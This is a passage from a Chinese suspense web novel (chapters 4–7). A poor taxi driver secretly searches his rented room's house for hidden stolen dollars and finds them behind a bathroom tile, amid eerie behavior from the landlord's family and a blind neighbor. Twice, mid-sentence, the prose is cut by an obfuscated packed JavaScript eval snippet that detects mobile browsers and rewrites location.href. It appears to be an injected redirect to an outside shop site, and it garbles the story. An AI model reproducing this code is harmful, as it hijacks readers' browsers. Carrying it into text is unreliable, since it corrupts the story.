那个他第一次来时,在树下捡槐花的小女孩。她一双黑白分明的眼睛安静地盯着他。 被发现的下一瞬间,窗帘“唰”地合上,小女孩的影子消失无踪。 蔡岛嘉心里泛起一丝莫名的寒意,甩开车门,快步钻了进去。可就在他发动引擎前的瞬间,鬼使神差地又扭头望了一眼。 窗帘的缝隙里,那双眼睛再次出现。 这一次,小女孩没有躲闪。她俯视着他,露出一个笑——像玻璃瓶里蜷着的一只死虫,眼珠纹丝不动。 不等他回过神来,小女孩再次消失在窗帘背后。 4. 第 4 章 15日是周二,除了上下班高峰期外,都没有什么生意。 晚高峰刚过,其他出租车司机还在尝试多跑一单,蔡岛嘉已经迫不及待地把车停回了八里村的自建楼下。 他一边熄火,一边将钥匙从点火口拔出,揣进口袋。车厢里顿时安静下来,只剩下余热还在散发。 挂在后视镜上的那只灰色毛线老鼠随着车身最后的震动,微微摇了几下,夕阳把它的影子拉长,在挡风玻璃上一线来回。 自建楼里很热闹,一进门,热气和油烟迎面扑来。厨房里锅铲“哐当”直响,客厅里电视震耳欲聋,一群身穿军装的士兵正在枪林弹雨中冲锋。 何阿公坐在唯一的单人沙发上,戴着一个有些年头的老花眼镜,正在一张摊开的报纸上做数独游戏。旁边的长沙发上盘腿坐着何阿婆的儿媳徐朝颜,她穿着蓝色的HelloKitty睡衣,歪七扭八地半躺在沙发上,一只手紧握着遥控器,大声朝厨房喊道:“妈!我想换台!” “不行!马上就要打□□了,不准换!”厨房里传出何阿婆断然的拒绝。 徐朝颜翻了个白眼,然后看到站在门口的蔡岛嘉。 蔡岛嘉下意识露出笑容,点头示好。后者敷衍地点了点头。 “妈!”她拖长了声音,再次朝厨房喊道,“那个男租客回来了!你不是要问他吃饭的事情吗?” “你问噻!”厨房里传来何阿婆手中的锅铲暴击铁锅边缘的声音,“你没长嘴?什么事都要老子来亲力亲为嗦?!” 徐朝颜不情不愿地转向蔡岛嘉。 “我妈问你,要不要和我们一起吃饭?你隔壁的那个女租客已经同意了。我们每次做饭的时候多做一点,你跟我们一起吃,一天三顿,一个月两百块。但是吃饭时间是固定的,错过就只能剩什么吃什么。” 蔡岛嘉还以为她要说什么,没想到是关于包餐的提议。这可是瞌睡来了送枕头,他正在为难怎么用兜里仅剩的两百块钱过完这个月呢。 “行啊。”他立即从裤兜里掏出仅有的那两百块,“这钱给谁?” 徐朝颜望着那两百块钱双眼放光,身体立即从沙发上坐了起来:“给……” “给我。”何阿婆端着一盆菜走了出来。 徐朝颜悻悻地靠回了沙发。 何阿婆把菜砰一声放到桌上,然后走到蔡岛嘉面前,一把拿走了那两张百元大钞。她拽平边角,对着光看了看,随手塞进脏兮兮的围裙兜。 “她都跟你说过了噻?一天三顿,家常口味,荤少素多。错过就吃剩的。”何阿婆冷冰冰地说,“两百块能买些什么菜,你要心里有数,我不赚钱,如果你挑三拣四,老子会骂人。” “都说过了,我没意见。”蔡岛嘉连忙赔笑,“您又不挣钱,都能理解。能吃饱就行。” 也许是他态度良好,何阿婆没有再更多地讽刺他,只是没好气地瞥了他一眼,说:“吃饭了会叫你,注意听。” “听什么?”蔡岛嘉问。 “你听到就知道了。”何阿婆不耐烦地说,在围裙上摸了两把,转身走回厨房。 蔡岛嘉看了看还留在客厅里的两人。 “那我先上去了。”他赔了赔笑。 何阿公对他微笑着点了点头,徐朝颜假装没听见,在沙发上抱着膝盖,愁眉苦脸地看着并不想看的抗日剧。 蔡岛嘉走上二楼时,主卧的门忽然开了一半,一个瘦高的年轻男人走了出来,是蔡岛嘉下辈子想投胎的那种长相。 男人穿着一件没有任何印花和logo的白T,下身是一条黑色直筒休闲裤。头发很黑也很密,剪得不短不长,贴着额角。皮肤偏白,锁骨和手腕的骨线清楚,左手腕上是一条窄窄的黑表带。 他神情很淡,看不出喜怒,目光像没对焦似的从蔡岛嘉身上掠过去,朝他微一点头,既不热络也不疏离。 “……你是?”蔡岛嘉暗中嫉妒,笑得很敷衍。 “我是房东的儿子。”男人顺手掩门,说,“我叫何序。” “你好,我是新来的租户。”蔡岛嘉下意识地露出笑脸,“我叫蔡岛嘉。” 何序点了点头,走到旁边的次卧门前,敲了敲门:“朵朵,准备吃饭了。” 门里传来小女孩应答的声音。 这个时间点,普通的上班族应该在公司里面,何序夫妻两却都在家。他们要不就是在家啃老,要不就是自由职业。真是命好啊,他最恨这种生来就可以活得很轻松的人。 蔡岛嘉从何序身上收回视线,一边思考着怎么避开耳目寻找赃款,一边心不在焉地走上三楼。 夏禧的房间关着门,那条该死的狗也不在。 他停在客厅里,先低头检查地砖—— 浅色大方砖一块一块铺开,没有新旧色差;几处边角有细小的崩口,像多年磨出来的。他蹲下身,弯起食指,挨个轻点过去:空鼓的回声没有出现,声音闷实一致。踢脚线也一排到底,钉眼老旧,缝里塞满灰。 他又仰头检查天花板—— 白色PVC扣板吊顶,细窄的板条一条条并排卡着,中央吊着只裸灯泡,灯座周围一圈淡黄印子,四角的蛛网挂着均匀的尘。天花板与墙交界的线条笔直,没有新补腻子的发亮痕,也没有拆过再装的裂缝。窗框上方的抹灰同样平顺,螺丝位都生着同样的锈色。 客厅墙角放着一个上了年头的木制人字梯,蔡岛嘉小心将其搬运过来。他扶着人字梯,侧耳听了听——一楼的油烟机还在轰响,电视声也足够盖噪——这才爬上了木梯。 他掏出一张硬塑的加油卡,沿着PVC扣板与收边条的缝隙轻轻插进去,卡住卡扣后再用钥匙背沿着边缘一点点撬。 浮尘簌簌落下,他偏头避开口鼻,双手托住板面,缓慢下翻。 昏暗的光线中,吊顶腔里是横平竖直的轻钢龙骨,几根用黑胶布捆过的电线贴着梁走,角落里团着灰絮、干瘪的蟑螂尸体和两截断掉的塑料扎带。没有可疑的包裹,也没有新钉的木条。他伸手沿龙骨摸了一圈,触到的尽是金属边和干燥的灰。 他把那片扣板斜着托在一旁龙骨上暂挂,又挪梯到灯泡附近,再撬下一片检查。 里层依旧空空如也。风从某个缝里渗进来,带着潮味。 “小蔡哥哥,你在干嘛?” 一个突然出现的童真声音,吓得蔡岛嘉差点从木梯上跌下来。 朵朵站在扶梯下,双手背在身后,仰头看着蔡岛嘉,嫩黄色T恤的前胸印着一只白色小狗。 “我……”蔡岛嘉的大脑飞速运转,“我听见天花板里有老鼠在跑的声音——” “老鼠?”朵朵像是听见什么很有趣的话,笑了起来,“这个家里到处都有老鼠。我也有。” 她把手从背后换到身前,掌心托着一只灰色花枝鼠。 “这是我的宠物小咪。”朵朵露出骄傲的表情,空着的那只手慢慢抚过花枝鼠小小的头颅,“它很聪明,听得懂我说的话。” 蔡岛嘉不在乎那只耗子叫什么,也不在乎它是不是真的能听懂人在说话。他只在乎话题是不是离“你在干嘛”越来越远。 正常人谁他妈养耗子做宠物? 他咽下了心里话,而是一边讨好地附和着,一边趁机将吊顶复原:“它看上去就很聪明,瞧这眼睛黑亮黑亮的。” “是呀,大家都这么说。”朵朵得意地说。 蔡岛嘉爬下木梯,将木梯重新放回客厅角落。他用眼角余光观察身后的朵朵,她仍在摆弄那只看上去和野耗子相差无几的宠物老鼠,看上去已经忘记了刚刚发生的事。 蔡岛嘉走回她面前,蹲下身来,装出亲切的样子。 “你在这里住多久了呀,朵朵小朋友?” “一年多,不到两年。”朵朵抬起眼皮,看了他一眼。那只灰色的老鼠在空气中乱嗅,让蔡岛嘉想起夏禧的那只导盲犬,同样的惹人厌恶。 “你有十一岁吗?读几年级了?” “十二。”朵朵眉头皱了一下,似乎对自己的外表比实际年龄更小一事不太满意,“我读初一了。” 蔡岛嘉顿了顿,终于问出真正想问的问题:“今天早上,你为什么要在窗子里看我呀?” 朵朵歪了歪头。 她的目光在蔡岛嘉脸上游移着,然后定格在他的眼睛上。 “不能看吗?”她反问。 “当然可以看了。”蔡岛嘉下意识地移开了视线,尴尬地笑了起来。 就在他放弃得到答案的时候,朵朵忽然说:“我觉得你很眼熟,但想不起来在哪 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何阿婆已经回到了一楼餐厅,那个铜色的铃铛就被她放在电视机柜上。何阿公在主位落座,看到蔡岛嘉下楼,对他温和地笑了笑。徐朝颜坐在何阿公左手起的第二个位置,拿着筷子正要偷吃土豆烧鸡里面的鸡腿,何阿婆双目圆瞪,筷子啪地一下打在她的手背上,像拍死了一只看不见的恼人苍蝇。 徐朝颜没有发声,或者说,不敢发声。但蔡岛嘉清楚看到,她的嘴唇快速蠕动了几下,何阿婆转身之后,她马上朝她的背影做了个鬼脸。 比起看婆婆脸色吃饭的儿媳,徐朝颜更像是不服管教的女儿。 “坐吧,小蔡。”何阿公友善地说道,“饿了就先吃。” 蔡岛嘉迟疑地选了一个餐桌边缘的位置坐下。有徐朝颜的前车之鉴,他可不敢先吃。 接着走下楼梯的是何序。他安静地走到徐朝颜和何阿公之间的那个空位坐下。 又过了几分钟,笨笨冲下了楼,绕着餐桌狂摇尾巴,然后是并排的朵朵和夏禧。 “对不起对不起,我来迟了。乐乐有点拉肚子,弄脏了衣服,我刚给他洗好,耽搁了时间——”夏禧一出现就连忙道歉。 “哎呀!屎尿屁的别在饭桌上提!”何阿婆斥责道。 “没事,快坐下吧。”何阿公笑着说。 最后一盘菜也被端上了桌。何阿婆把一个老掉牙的立式风扇往餐桌前一摆,再一按,伴随着温热的阵风,晚餐正式开始了。 蔡岛嘉也盯上了土豆烧鸡里面的鸡腿,但他刚一伸筷,徐朝颜已经眼疾手快地将鸡腿夹回了自己碗中。 “妈妈,这个也是腿。”朵朵将一块被宰碎的鸡腿肉夹到徐朝颜碗里。 “宝贝真乖。”徐朝颜心花怒放地笑纳了那块鸡腿肉。 “别管她!朵朵你自己吃!”何阿婆瞪了徐朝颜一眼,“当妈的没个妈样!” “呵呵,孩子都是这样的。小孩子满心满眼都只有爸爸妈妈,因为他们的世界就这么大,对不对呀,朵朵?”夏禧笑眯眯地说,“真希望我的孩子也像朵朵这样健康长大,变成妈妈的小棉袄。” “一定会的,夏禧阿姨!”朵朵认真点头,“就算是小孩,也知道谁在真心对他们好。” “你的小孩怎么会疤疤麻麻?小时候得过水痘?”何阿婆问。 何阿公在和何序低声交谈。 “伊拉克又有自杀式袭击了……” “这些人……” 夏禧在用筷子试探最近的餐盘的边界。蔡岛嘉看不下去,把她的手往前拉了一点:“这里是青椒炒肉丝。” 虽然没几根肉丝,大多是青椒。 “啊,谢谢!” 她忙活半天,夹回一根姜丝。 蔡岛嘉:“……” 算了,不关他的事。 他挑出盘里最粗的那条肉丝,连同几根青椒落进碗。饭一入口,酸涨的味道从舌根顶上,他险些当场吐出—— 米饭是馊的。 他看了看其他人:没人出声,也没人皱眉。 他又瞥了眼永远沉着脸的何阿婆,权衡一秒,咕咚,把那口变质的食物咽下。 5. 第 5 章 凌晨一点,楼里寂静无声。 远处戛然而止的虫鸣,像是某个漆黑洞穴里传来的回声。 闷热的空气黏腻得像裹了一层湿布,贴在皮肤上不肯散开,蔡岛嘉的背心早已湿透,湿漉漉黏在脊梁骨上,连呼吸都带着一股滞闷。 他复原了最后一块扣板,轻手轻脚从人字梯上走下。 没有。 吊顶、地板,他能查的都查过了,一无所获。 难道没藏在三楼?还是偏偏在夏禧的房间? “……操。”他干裂的唇间挤出一声低咒。 走一步算一步,先把能查的地方都清一遍。 蔡岛嘉把人字梯挪回角落,屏着气往下走。被湿气泡软的楼梯在脚下“吱呀”一声,他立刻僵住,等那点动静在闷热的楼道里慢慢散尽,才踮起脚尖继续。平时十秒不到走完的路,他走了整整一分钟。好不容易下到二楼,他望了望四周,将一条被遗忘在角落里的椅子搬了过来,垫脚踩在上面,一块块地拆开吊顶检查。汗沿发际一股股落下,顺着下巴滴进衣领。 二楼两扇紧闭的卧室房门,像两只黑黝黝的眼睛,沉默地注视着他的一举一动。 这里也没有。 焦躁在胸口发涨。 他安慰自己还有一楼没有查看,心烦意乱地来到一楼。这里最杂乱,也最喧嚣。几乎是刚踩着一楼的地面,他就听见远处主卧里何阿婆粗重的鼾声。 “这老太婆睡得真死。”蔡岛嘉脑海中闪过这个念头,紧绷的心也为之一松。 他继续检查一楼的墙壁和地板,更加仔细地轻敲墙面,倾听回声。就在他想要找个椅子踩上去,检查一楼的吊顶时——他忽然发现,鼾声,不知什么时候停了。 静得像有人在黑暗里屏住呼吸,贴着门缝数他的心跳。 紧接着—— 脚步声骤然响起。 从何阿婆和何阿公的房间。 没有给他多余的时间反应,卧室门被一只带着火气的手,猛地拉开了。 何阿婆穿着蓝底大花睡裙,红粉牡丹挤满一片,薄得透光,隐约能见到里面一抹大红。稀疏的爆炸卷被枕头压出几道折痕,后跟踩塌的塑料拖鞋“嗒嗒”响。她睡意未退,脸上那层“永远不高兴”因为困倦显得有点迟钝。客厅空空如也,一楼恢复了它应有的死寂。她收回有些迷惘的目光,拖着步子进了厕所——关门、脱裤、坐下。 “噗嗤——” “噼里啪啦——” 几声响动过后,恶臭开始扩散。 薄薄的浴帘后,一具僵硬的身体正紧贴着墙。 蔡岛嘉把后背钉在冰凉瓷砖上,十指扣住缝隙,不敢动,连气都不敢大口出。他怕一丝颤动就把影子投到帘子上——可胃里那股反上来的酸水,裹着晚饭的馊味,已开始违抗他的命令。 一分钟,两分钟,三分钟。 就在他快要坚持不住的时候,何阿婆动了。片刻后,马桶冲水的声音响起,何阿婆带着梦游般的脚步,再次回去了卧室。 “咔哒”一声,卧室门合上,一楼安静了。 他掀帘、跨出、几乎是一路逃回房间。 操、操、操—— 蔡岛嘉跪在自己的房间地面上,大口大口地喘着气,震耳欲聋的心跳声几乎要冲破他的耳膜。 差点就被发现了。差点。只差一点。 他不敢想象那个画面。 迟来的腹部绞痛,让他从劫后余生的庆幸中回到现实。蔡岛嘉一边在心里咒骂着晚餐的那碗馊饭,一边捂着肚子快步冲进三楼的厕所。 三楼和二楼的公共区域都检查过了,只剩下一楼的公共区域和其他住户的房间。 一楼的公共区域都还好说,他总能找到机会,但其他人的房间他怎么进去? 蔡岛嘉坐在马桶上,顶灯的白炽灯光照得厕所亮如白昼。身体和心理上的不适让他越发烦躁,他不耐烦地扯住墙上纸桶里露出来的那片白色,用力拉出一大把卷纸。他刚准备起身擦拭,目光忽然在对面墙上凝住了。 对面那面白瓷砖墙在黄灯下发着旧光。 正对他视线的那一片,填缝剂比旁边更白,边沿有一圈新光,像刚补过。 …… 三分钟后,蔡岛嘉蹲在这片被白线勾描过的白色瓷砖前,把一条叠厚的毛巾垫在瓷砖下沿和螺丝刀之间,一点一点地,撬开了瓷砖的边角。 紧张的汗水,顺着他的额头滑下,一双充血的眼睛,死死地盯着那块逐渐被卸下的瓷砖。 瓷砖落到他手里。砖后,未抹平的水泥里露出黑色防水袋一角。他怔住,半晌,才抬手用螺丝刀刺开,顺势一拉—— 他看见了。 浅绿的纸角。 “UNITED STATES”的半截字母。 蔡岛嘉的双腿在这一刻,也像水泥背后那软绵绵的美钞一样,站立不住,扑通一声向后倒去,跌坐在潮湿的厕所地面上。 找到了—— 找到了! 不是他的幻想!这笔钱真的存在! 他的脑海中立即浮现出蔡娟推他走向小许、姜胜揽着中年女人有说有笑进入酒店的画面,这些画面转瞬就化为齑粉,取而代之的是他蔡岛嘉金光四射的崭新人生。 那才是他应该过的日子,是被命运偷走的,本就属于他的人生! 蔡岛嘉从地上爬了起来,他试了几次,都没法将防水袋从那小小的水泥破口后拖出。要想完整取出,需要更多的工具,更多的时间,把背后这一小片水泥都敲碎,才能取出藏在背后的美钞。 他深呼吸了好几次,努力平息快要脱缰的心跳,然后将露出一角的防水袋按回原来的位置,又试着复原撬下来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727986|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓷砖—— 瓷砖放上去又落下来,他反复几次后,终于想起这一层楼唯一的其他住户,是一个瞎子。 上天果然站在他这边。 他不再尝试完美复原瓷砖,而是找了一个透明胶,把瓷砖贴回了原处。 虽然肉眼仔细一看就能看到胶条,但对一个盲人来说,这份伪装已经足够。 做完这一切,他关上厕所的灯,穿着已经干透,只剩下刺骨凉意的背心回到自己房间,思考如何在不惊动其他人的情况下,取出藏在三楼厕所里的这笔赃款。 刺耳的婴儿夜哭打断了他的思绪。 一墙之隔,他能听到夏禧匆忙而慌乱地翻身起床,一边念叨着“不哭不哭”,一边摸索着来到婴儿床抱孩子的声音。 他那本就算不上绝顶聪明的脑子,在这执着而响亮的干扰下,终于乱成了一堆碎片。 “大晚上的,安静一点行不行!”他气恼地捶墙提醒隔壁。 夏禧的声音停了一秒,然后更快地响起了:“对不起对不起……” 与之一同响起的,还有那受惊之后变得更大声的婴儿哭声。 “操——” 蔡岛嘉低声骂道,将身体摔到床上,用散发着淡淡霉味的薄被捂住了头。 不知过了多久,也许是一小时,也许更长。 直到哭声完全停止,蔡岛嘉才在混乱而迟钝的思绪中沉沉睡去。 在他完全睡去之后,一扇房门悄无声息地打开了。 门把手轻轻一动,锁舌缩回去的“喀哒”声被黑暗吞没。门缝缓缓拉出一线暗淡的长方形,合页发出一声极细的金属擦声,门影在地上一点点推开。 一截盲杖的橡胶头先探出门外,悬了半秒,落在瓷砖上——嗒。又抬起,沿墙根轻试——嗒。 杖身细微颤着,薄光在杆面上流过去又退回。 夏禧一手扶墙,一手握杖,一步一停,缓缓走出了房门。那条黄色的大金毛,此刻正温顺地趴在婴儿床边的地毯上睡觉。 盲杖在前缓缓探路,掠过门框、椅脚和墙角的突起,在三楼窄廊里留下一串均匀的“嗒……嗒……”。 到了尽头,杖尖触到厕所门口的橡胶垫,她摸到门把,轻旋,门锁无声退让,她沿着墙面,试探着迈了进去。 锁上厕所后,她继续用盲杖试探,找到马桶后,她轻呼了一口气,仿佛刚完成一桩了不起的试炼。 夏禧把盲杖轻轻靠在墙边,在马桶储水箱上扶了一下,转身坐下如厕。 那双没有焦点,显得木然的眼睛,正对着那块用透明不干胶粘起来的瓷砖。 淅沥沥的水声和某种积蓄已久的情绪,一同被带离了身体,只等着她轻轻一按,就会被卷入黑暗的地下水流。 幽暗的厕所中,排气扇漏下的一缕灰光,落在她的嘴角,像是轻轻勾了一下。 6. 第 6 章 16日一早,震耳欲聋的音乐声响,将蔡岛嘉从柔软的睡梦中揪了出来,一把掷向坚硬、闷热,弹簧凹陷的出租屋小床。 他像一个刚睡着就被丢出战壕的新兵,身体在大脑有所反应之前,从床上一把弹起,抓起了枕头下方的手机。 08:00,屏幕上的这个数字,清楚到荒谬。 什么情况?什么声音? 他挣扎着爬到床位,推开窗户探出头去——何阿婆正和几个他没见过的老年妇女,穿着整齐的红色碎花“舞蹈服”,在楼下空地里小步挪移,双手轻摆,乍一看,像几根包着彩色包装纸的大香肠,而那老式黑色音响里传出的“left、left”,“right、right”,就是那无形的棉线,牵动着这些大香肠笨拙地往前扭动。 是他疯了还是这个世界疯了? 星期三早上八点?在有租户的自建楼院子里跳广场舞?不怕住户有意见? 他睡眼惺忪地抓了抓乱糟糟的头发,祈祷有正义人士去制止何阿婆大清早的扰民行为,但他等了五分钟,香肠们依然在院子里快乐摇摆。 一群怂逼。 他砰一声地关上了窗户,在心里把上到何阿公,下到夏禧都骂了一遍。 算了,反正拿到钱,他就要立刻离开这里。蔡岛嘉穿上衣服,第一件事就是去厕所确认昨天的事不是他在做梦。 他打开门,确认夏禧不在客厅后,快步冲入厕所反锁。那块瓷砖比昨夜更加显眼,被几条不干胶粘着固定在墙上。他屏住呼吸,在瓷砖前蹲下,缓缓撕下了不干胶。 取下白瓷,黑色的防水袋出现在眼前,在那裂口背后,是浅绿色的新人生。 咔哒一声。厕所的把手被从外转动了,蔡岛嘉浑身一震。 “有人吗?还有多久?”夏禧那毫无脾气的,带着点软绵的声音从门外响起。 “马上!” 蔡岛嘉把跳到喉咙口的心脏咽了回去,飞快地把瓷砖重新贴了回去。做完这些,他不忘特意按响抽水马桶,好像他刚刚真的是在上厕所一样。 “好了,你去吧。”他开门,状若平常地走出。 一楼,噪音更大,那几根香肠几乎是在贴着他的耳朵跳舞。蔡岛嘉捂着耳朵走进厨房找早餐,却发现橱柜上只剩沾着豆浆印的空盆、残留油果碎渣的空盘,以及一碗像是特意留给他的红薯稀饭和小半盘吃剩的榨菜。 这是人吃的东西? 蔡岛嘉下意识摸了摸裤兜,兜里比他的脸还干净。 找家里要钱? 他想起离家前,雄赳赳气昂昂回应母亲不给零花钱的那句“不给就不给,谁稀罕”。 算了,再忍一忍。 蔡岛嘉把那碗稀饭和榨菜端到餐桌前,想尽快吃完东西就出去跑车,好逃脱这魔音绕耳。他敢说,这辈子从没这么期待上班过。 一开始他还担心这稀饭跟昨晚一样是馊的,小心翼翼吃了一口,还好,没有变质。他放下心来,就着榨菜,大口刨了起来。 “分明是你慢了一拍,关我啥子事噻?” 大开的入户大门外,响起何阿婆和舞友的争执。 “大家伙都看见了,你凭什么占我的位置?” “谁让你占着茅坑不屙屎?你早该过去了!赖在中间当拱屎蛆麦?” “请你说普通话!” “老子说的是普通话噻!” 吵吧,吵吧,吵得越厉害越好。最好吵散伙,以后都别跳了。蔡岛嘉一边喝稀饭,一边幸灾乐祸地想。 忽然,他的舌尖在稀饭里抿到一点特别的东西。不是红薯,但也不是米粒。有点像……肉。 他迟疑着,扯了张纸巾,吐出了嘴里的那一口。 纸巾上是一截煮烂的米虫,身子软塌塌的,已经失去形状,被稀饭浆糊裹着,像一根断掉的米线。 一股强烈的恶心从胃部涌上喉头,蔡岛嘉没忍住,偏过头干呕了一声。这一声动静,在喧嚣的音乐声中没有引起任何人的注意。何阿婆似乎和舞友已经解决了争端,那有节奏的香肠踢踏舞,丝毫没有考虑到他的心情,又一次震了起来。 昨晚就是馊饭,今早又是米虫加餐,就算一个月只收两百块,这也太过分了!、 蔡岛嘉气从心头起,拿起那张包裹着米虫的纸巾就要去找何阿婆理论。 刚一出门,他就险些和要进门的何阿婆撞上。 “干嘛!走路不看人啊?”何阿婆顶着一头爆炸小卷,怒气冲冲地瞪着他,视线从他的脸一直滑到他手上的那张纸巾,两条粗壮的眉毛往下一压,语气里透出不悦,“那是什么?” 那凶狠的眼神,质问的语气,没用一秒钟就戳破了蔡岛嘉刚刚生出的“勇气”。 “是……是我要扔掉的。哈哈,刚擦了嘴。”蔡岛嘉说。 他觉得自己的表情一定很古怪。 因为何阿婆的眉毛压得更低了。 “要扔就赶紧扔,别在这里挡路。” 她不耐烦地挥了挥手,就像在赶一只长得比同类还丑的苍蝇。 蔡岛嘉这只“讨人厌的苍蝇”,讪讪一笑,绕到自建楼右侧的槐树下,揭开半人高的垃圾桶,把米虫和纸巾一起扔了进去。 操。 “小蔡啊,什么时候起的?厨房里还有稀饭,看到了吗?”何阿公右手提着灰色的塑料扫帚和簸箕从后院走出,簸箕里还有少许干瘪的枯枝落叶。 “刚起,已经吃过了。”蔡岛嘉挤出一个微笑。 “秀英就爱早上跳跳广场舞,我说过她好几次了,没用。一定把你吵到了吧,真是对不住啊。” “秀英?” 蔡岛嘉在心里嘀咕了一下:这就是那个老妖婆的名字? “秀英就是我妻子的名字。她也姓何,何秀英。我叫何志国。”何阿公笑了笑。 那种温和而礼貌的标准微笑,蔡岛嘉通常只在电视上才能看到。 他注意到何志国今天穿了一套深蓝色的唐装,每一粒纽扣,都扣得整整齐齐,就连那头银发,也是用梳子细心打理过。 蔡岛嘉生活中的那些老年男人,这个年纪只爱穿一件洗得松松垮垮,遮不住长辈的白背心晃来晃去。何阿公的打扮,就显得格外不同了,尤其是——当他妻子正穿着花衣,在院子里像根七分肥的广味香肠一样扭来扭去的时候。 何阿公仿佛看出了他的疑问,笑着说道:“退休之前,我在江都工业学院教书,习惯穿这一身了。” “您是教授?”蔡岛嘉惊讶道。 “退了几十年了。”何阿公摆了摆手,“我现在就是何老头,或者何阿公。每天就浇浇花,下下棋,辅导孙女作业。” “您和何阿婆怎么认识的?你们都姓何,难道是一个村的?”他忍不住问道。 潜台词是——你怎么瞎眼找了个何阿婆? “秀英在我们家长大,她很小就没了父母,是我母亲收留了她。所以她也姓何。” 蔡岛嘉刚要说话,一阵凌厉的风声从头顶呼啸而来。 完全是本能反应,他向后踉跄了几步。 一个红陶花盆,砸在他上一秒站的地方,摔得四分五裂。花盆里的君子兰带着湿土滚了出来,几片肥厚的叶子折断,根须裹着泥巴裸露在外,湿漉漉地摊在地砖上。 如果不是他退得快,他的脑浆就会像这个花盆一样溅得到处都是。 “这是……”何阿公白了脸,抬头往楼上看去。 兔子舞的音乐声乍然停了。 何阿婆像受到召唤的游戏NPC一样,光速从前院的迪斯科舞厅降临到自建楼侧边空地。 “什么东西摔碎了?” 看见地上摔碎的花盆,她也变了脸色,抬头往楼上看去。 三层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727987|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小楼,侧立面只有三扇紧闭的厕窗,窗框泛灰;再往上便是裸露的天台。几根立管贯穿上下,半人高的水泥围栏边一溜摆着何阿公的花盆;靠近转角的地方,花盆缺了一道口,像被硬生生撕开。 “谁在上面?给老子出来!” 蔡岛嘉还没反应过来,何阿婆已经怒气冲冲地转身离去。过了没多久,她咋咋呼呼的声音出现在天台上。 “谁在上面?给老子出来!” 蔡岛嘉仰着头,看着何阿婆的爆炸卷从花盆的缺口处冒了出来。 “没人啊,老何!就是风吹的!” “我老早就跟你说了,围栏上不要放花盆,被风吹下来砸到人了不得!你偏要放!这下好了吧!” 她一边骂骂咧咧,一边把围栏上的那些花盆利落地都搬了下去。 “秀英说了好多次,我总嫌麻烦——”何阿公满脸歉意地对他说,“我现在就出门买铁丝,把花盆都固定起来。真是对不住了啊,小蔡!” 何阿公的态度好到蔡岛嘉有气也没地发,只能自认倒霉,摸着还有一丝凉意的脑袋瓜就此作罢。 “我正好要出门跑车,带你一程吧。你去哪儿买铁丝?”蔡岛嘉说。 何阿公感谢极了,报了一个五金店的地址,离城中村只有一公里不到的距离。 “顺路,走吧。”蔡岛嘉说。 要想敲碎白瓷背后的水泥取出钱袋,需要更多的工具。送何阿公去五金店,确实很“顺路”。 在车上,蔡娟又给他打了个电话。他不接都能猜出她的台词。 苍白、单薄、天真、可笑。 他看都不看,直接按了挂断。 何阿公看到了他挂电话的动作,也看到了屏幕上的“妈妈”,他都想好了,如果何阿公多管闲事问他为什么不接妈妈的电话,他就说公司规定开车不能打电话。 但何阿公没问这个。 他问的是:“小蔡啊,你跑出租车,时间应该很自由吧?” “还算是吧。”蔡岛嘉下意识回答。 “那你怎么不回家住呢?在家里住,有家里人做饭,不比阿婆做得好吃?”何阿公摆了摆头,一副哭笑不得的样子,“秀英做的饭……唉,不说也罢!” 这话说到了蔡岛嘉心坎上,他简直就是何阿婆厨艺的最大受害者。 “当然是家里做的好吃……但我一回去我妈就要逼我相亲。烦死了。”他半真半假地说道,“除了跑车,我还在搞小生意。等混出个名堂,我再回去,让她没有话说。” 前方一个路口,蔡岛嘉打了方向盘,黄色出租车缓缓驶出八里村,重新回到城市的大马路上。 人声、喇叭声、店铺里的音乐声都被车窗隔绝在外。充斥着冷气的出租车里,只有何阿公的那声叹息格外清晰。 “林语堂先生说过,父爱是人类文明的产物,母爱却是与生俱来的。小蔡啊,无论什么时候,都不要惹恼一个母亲。” 又是这种老生常谈。 蔡岛嘉不耐烦地想,没有搭何阿公的话。 好在五金店已经近在眼前,他把车靠边停好,从手套箱里拿出昨天跑车的钱,和何阿公一起进了店。 何阿公选好了铁丝,正在结账的时候,蔡岛嘉也选好了工具箱,提到柜台前结账。 “家里有工具箱,小蔡。要是东西坏了,你找阿婆或者我要就行。” “哦,不用。”蔡岛嘉故作自然,“我喜欢捣鼓一些小东西,买一个放在房间比较方便。” 何阿公见状没再说什么。 “那我先走了,阿公?这正是高峰期,跑车的好时候。”蔡岛嘉说。 “哦、哦!你去吧,不用管我,我慢慢走回去就好了!”何阿公连忙说。 蔡岛嘉满意地回到车上,把工具箱随手放到副驾。 今晚,他就要动手取出那袋美金。 7. 第 7 章 餐桌上方的老式吸顶灯明灭闪烁,夏夜的蚊虫一头撞上去,电声噼啪,瞬间坠落。 “灯泡是不是该换了?”何阿公扶着主位的餐椅,抬头望着忽明忽暗的灯泡。 “换什么换,还能再用一年——” 何阿婆举起不知何处翻出的晾衣杆,在灯泡底座上砰砰戳了几下。看上去随时都要报废的灯泡,神奇地不闪了。 围绕在餐桌旁仰头看灯的众人,这才相继落座。 何阿婆夹了第一筷子,就呸地一声吐在了纸巾里:“你是不是把盐当味精放了?” 徐朝颜无辜地看着她:“有吗?” “让你帮我看个锅加个盐,你能把我一锅菜都搞砸!你到底能做好什么噻?还是说,老子让你做点事,你就故意使坏?!” 何阿婆瞪着徐朝颜的目光,仿佛一把超大功率的探照灯,就连置身事外的蔡岛嘉,也感觉到了那股炎热的怒火。 